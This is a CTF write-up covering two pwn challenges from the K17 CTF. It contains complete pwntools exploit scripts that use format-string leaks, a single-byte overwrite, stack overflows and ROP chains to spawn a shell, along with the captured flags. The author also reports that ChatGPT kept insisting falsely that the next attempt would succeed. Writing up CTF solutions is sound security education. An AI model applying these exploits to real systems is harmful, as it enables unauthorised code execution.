- Published on
K17 - PWN Challenges
- Authors
- Name
- kerszi
Introduction
Between August 19 and August 21 the first edition of the Australian K17 CTF took place. The event was well balanced with some beginner-friendly challenges. I solved two tasks in the PWN category. (There was also one PWN task in the Beginner category, but I am not including it here because I aim to cover complete categories.) More information about the CTF can be found here.

Challenge: Singular hole

The program first asks for a name and then a fun fact. After that it allows you to "place your hole"—i.e., overwrite a single byte in the binary to influence execution flow.
Welcome to the singular hole - (not the void though, thats somewhere else)!"
In honour of yellowsubmarine's brain, which is
completely full of holes, we're giving you the
opportunity to exploit the one true singular hole.
Please state your name:
>> my name
Well hello my name
Please state a fun fact about yourself:
>> test
Interesting, I didn't know that!
Now let's get to business. Where would you like to place your hole?
>> 423
What would you like to write there?
423
Segmentation fault (core dumped)
Decompiled View / Initial Observations
Analysis in Binary Ninja reveals the vulnerable flow:
0040125b int32_t main(int32_t argc, char** argv, char** envp)
00401271 puts(str: "
00401271 Welcome to the singular hole - (not the void though, thats somewhere else)!"")
00401280 puts(str: &data_4020fd)
0040128f puts(str: "In honour of yellowsubmarine's brain, which is")
0040129e puts(str: "completely full of holes, we're giving you the")
004012ad puts(str: "opportunity to exploit the one true singular hole.")
004012bc puts(str: &data_4020fd)
004012cb puts(str: "Please state your name:")
004012df printf(format: ">> ")
004012f7 char var_18[0x10]
004012f7 fgets(buf: &var_18, n: 0x10, fp: __TMC_END__)
0040130b printf(format: "Well hello ")
0040131c printf(format: &var_18)
0040132b puts(str: &data_4020fd)
0040133a puts(str: "Please state a fun fact about yourself:")
0040134e printf(format: ">> ")
00401366 char buf[0x60]
00401366 fgets(&buf, n: 0x60, fp: __TMC_END__)
00401375 puts(str: "Interesting, I didn't know that!")
0040137f hole()
0040138a return 0
Vulnerability: Format String (Print Buffer Overflow)
The line:
printf(format: &var_18)
uses user-controlled input directly as a format string. This enables a format string vulnerability, allowing stack disclosure via %p
specifiers.
Through experimentation, %20$p %21$p
produced:
- A stack leak
- A libc leak
These were sufficient to compute:
- Return address location on the stack
- libc base for ROP gadgets and
/bin/sh
+system
Misleading Path: Single-Byte Overwrite Loop
Initially the idea was to overwrite the low byte of the return address at main+297 (0x401384)
to redirect execution back into hole()
repeatedly. Overwriting one byte (e.g. changing 0x84
to 0x7a
) seemed promising, but it only worked once before the program exited. This indicated a more robust plan was needed.
pwndbg> retaddr
.....
0x7fffffffdc58 —▸ 0x401200 (hole+74) ◂— lea rax, [rip + 0xe51]
0x7fffffffdc88 —▸ 0x401384 (main+297) ◂— mov eax, 0
.....
pwndbg>
Disassembly context:
0x000000000040137a <+287>: mov eax,0x0
0x000000000040137f <+292>: call 0x4011b6 <hole>
0x0000000000401384 <+297>: mov eax,0x0
0x0000000000401389 <+302>: leave
0x000000000040138a <+303>: ret
Stack excerpt:
00:0000│+828 0x7fffffffdc88 —▸ 0x401384 (main+297) ◂— mov eax, 0
01:0008│+830 0x7fffffffdc90 ◂— 'test\n'
02:0010│+838 0x7fffffffdc98 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc80 —▸ 0x7fffffffdd00 ◂— ...
03:0018│+840 0x7fffffffdca0 ◂— 0x9700000006
04:0020│+848 0x7fffffffdca8 ◂— 0
... ↓ 3 skipped
Key realization: The user-controlled "test" string sits immediately after the saved return address—ideal for placing a crafted ROP chain.
Exploitation Strategy
- Use format string vulnerability to leak:
- A stack address (to compute where to overwrite)
- A libc address (to resolve base)
- Compute:
- Address of
ret
on the stack (adjusting offsets manually) - Gadgets:
pop rdi; ret
- Addresses:
/bin/sh
,system
- Address of
- Place ROP chain where the program later returns
- Overwrite a single byte so control flows directly to
ret
, executing the injected chain
ROP chain:
pop rdi ; ret
/bin/sh
system
A byte overwrite to land at 0x40138a
(the final ret
) avoids leave
, preserving stack layout for ROP execution.
Exploit Script
from pwn import *
import re
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc challenge.secso.cc 9003"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chal"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
payload=b'%20$p %21$p' #stack, libc
p.sendlineafter(b'Please state your name:',payload)
p.recvline()
response = p.recvline().decode()
matches = re.findall(r'0x[0-9a-fA-F]+', response)
if len(matches) >= 2:
stack_leak = int(matches[0], 16)-0x40-0xd8
libc_leak = int(matches[1], 16)-0x2a1ca
log.warn(f"stack_leak_ret: {hex(stack_leak)}")
log.warn(f"libc_leak_start: {hex(libc_leak)}")
else:
log.warn("Could not find both leaks in response.")
libc.address=libc_leak
bin_sh = next(libc.search(b'/bin/sh')) # Find "/bin/sh" string in libc
system = libc.sym['system'] # Find system() function address
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Find "pop rdi; ret" gadget
warn(f"pop rdi; ret: {pop_rdi:#x}")
warn(f"/bin/sh: {bin_sh:#x}")
warn(f"system: {system:#x}")
ropchain = b''.join([p64(pop_rdi), p64(bin_sh), p64(system)])
p.sendlineafter(b'Please state a fun fact about yourself:', ropchain)
p.sendlineafter(b'Now let\'s get to business. Where would you like to place your hole?', hex(stack_leak).encode())
p.sendlineafter(b'What would you like to write there?',b'138') #138 (0x8a) (ret) #ret=0x40138a
p.interactive()
Summary
Once solved, the challenge felt straightforward:
- Core issue: format string vulnerability enabling stack + libc disclosure
- Single-byte overwrite used to pivot execution directly to a crafted ROP chain stored adjacent to the saved return address
- Final outcome: spawn shell via
system("/bin/sh")
The tricky part was recognizing that the "test" input area acted as a convenient ROP buffer instead of trying to loop execution repeatedly.
K17{1_6u355_0n3_b16_h0l3_15_3qu1v4l3n7_70_m4ny_5m4ll_h0l35}
Challenge: u get me write

This next task (medium difficulty) took me notably longer. At first I went down the wrong path: because I did not immediately spot an easy gadget like pop rdi ; ret
, I convinced myself it was a ret2dlresolve challenge. That assumption wasted time. ChatGPT misled me for 4 hours; after each failed attempt it kept insisting I would get it on the next one, and so it dragged on.
Inspecting the GOT showed only two writable dynamic entries relevant to us:
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/d/moje_programy/CTF/ctftime/2025-k17-ctf/pwn-u-get-me-write/chal:
GOT protection: Partial RELRO | Found 2 GOT entries passing the filter
[0x404018] printf@GLIBC_2.2.5 -> 0x7ffff7c60100 (printf) ◂— endbr64
[0x404020] gets@GLIBC_2.2.5 -> 0x7ffff7c87080 (gets) ◂— endbr64
That nudged me toward a simpler combined approach: classic stack overflow for a small ROP stub plus a format-string based libc leak. Testing call sequences with gets
and printf
finally produced a working primitive. I did not even bother to fully reverse which exact stack slot produced the %p
leak once it worked—iteration was faster.
Key observations:
- Vulnerability: stack buffer overflow on the name input lets us control the return address.
- First-stage ROP chain: pivot execution through
gets
(to read a controlled format string) thenprintf
(to leak) and finally back tomain
for a clean second pass. - The format string
%3$p
already exposed a libc pointer (third variadic argument position), and subtracting a fixed offset (0x2038e0
) yielded the libc base. - Version consistency: remote addresses matched the local libc 2.39 endings, so reuse was safe.
- Second-stage: classic
system("/bin/sh")
ROP once we had libc base and apop rdi ; ret
gadget.
Exploit script:
from pwn import *
context.log_level = 'warn'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc challenge.secso.cc 8004"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chal"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
printf_plt=binary.plt.printf
gets_plt=binary.plt.gets
main=binary.sym.main
payload = 32 * b'A' + p64(0) + p64(gets_plt) + p64(printf_plt) + p64(main)
p.sendlineafter(b'Hello! Pleasure to meet you! Please enter your name:', payload)
fmt =b"%3$p "
p.sendline(fmt)
p.recvline()
recv = p.recvline().strip()
leaked_bytes = recv.split(b'\x1fHello!')[0]
leaked_addr = int(leaked_bytes,16)
warn (f"\"%3$p \" {leaked_addr:#x}")
libc.address=leaked_addr-0x2038e0
bin_sh = next(libc.search(b'/bin/sh')) # Find "/bin/sh" string in libc
system = libc.sym['system'] # Find system() function address
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Find "pop rdi; ret" gadget
warn(f"pop rdi; ret: {pop_rdi:#x}")
warn(f"/bin/sh: {bin_sh:#x}")
warn(f"system: {system:#x}")
payload2 = 32 * b'A' + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendline(payload2)
# gdb.attach(p)
p.interactive()
Takeaway: abandoning the premature ret2dlresolve idea and combining a minimal staged ROP with a straightforward format string leak was all that was required. Sometimes the simplest hybrid path wins.
K17{w04h_h0w_d1d_u_g37s_7h15}
Bonus
Optionally, you can find all resources for testing here.